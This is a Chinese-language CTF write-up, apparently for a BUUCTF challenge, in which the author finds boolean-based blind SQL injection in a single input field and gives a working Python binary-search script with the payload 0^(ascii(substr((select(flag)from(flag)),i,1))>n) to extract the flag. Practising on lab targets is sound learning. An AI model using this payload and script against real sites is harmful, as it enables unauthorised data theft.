可恶,明明当初想着是写给自己看的,文章越写越多,越来越在意别人会不会看我的文章了,还是太功名利禄了,我得清高点(这是写给自己看,这是写给自己看,这是写给自己看)
进入页面,可以看到只有一个白框,多半是SQL注入
直接开始做题
输入:1 回显:Hello, glzjin wants a girlfriend.
输入:2 回显:Do you want to be my girlfriend?
判断一下是否存在sql注入
分别输入
1+1
2-1
1*1
2/2 //只有2/2有运算后的回显,但还是存在sql注入的
再判断一下过滤了什么字符
482长度的都是被过滤的
我们不难发现输入东西页面返回的是bool类型,所以第一时间想到布尔盲注
使用if进行注入
先输入if(1=1,1,2)
得到输入1的回显
再输入if(1=2,1,2)
得到输入2的回显
因为他这里是bool类型,所以有一个方法
0^(ascii(substr((select(flag)from(flag)),1,1))>32)
如果后面的结果是1那么返回的结果就是1 即页面会输出Hello, glzjin wants a girlfriend.
如果后面的结果是0那么返回的结果就是0
所以我们就可以通过回显是否输出了Hello作为标志
因为flag很长一个一个试太不实际了,所以就用python的requests模块进行爬取测试
import requests
import time
rest = "" # 要提前设置
url = "http://ac2ffe10-c893-4b41-a3dc-5b135cc05721.node4.buuoj.cn:81/"
payload = {"id": ""}
for i in range(1, 100):
begin = 33
end = 130
middle = (begin+end) >> 1 # 记得加括号 结果就是对begin+end除以2取整数
while begin < end:
payload["id"] = "0^(ascii(substr((select(flag)from(flag)),{0},1))>{1})".format(i, middle) # {0}{1}表示第一个传入的参数和第二个传入的参数
resp = requests.post(url, data=payload) # data传入的必须是一个字典
if "Hello" in resp.text:
begin = middle + 1
else:
end = middle
middle = (begin + end) >> 1
time.sleep(1)
if chr(middle) == " ":
break
rest += chr(middle)
print("flag:" + rest)
print(rest)
注释的地方就是我自己踩过的坑,看了别人的exp自己要写一遍
这个为什么要begin=middle+1要自己去推理一编,然后有没有其他等价替代方法也要试一下
直接运行就可以得到flag了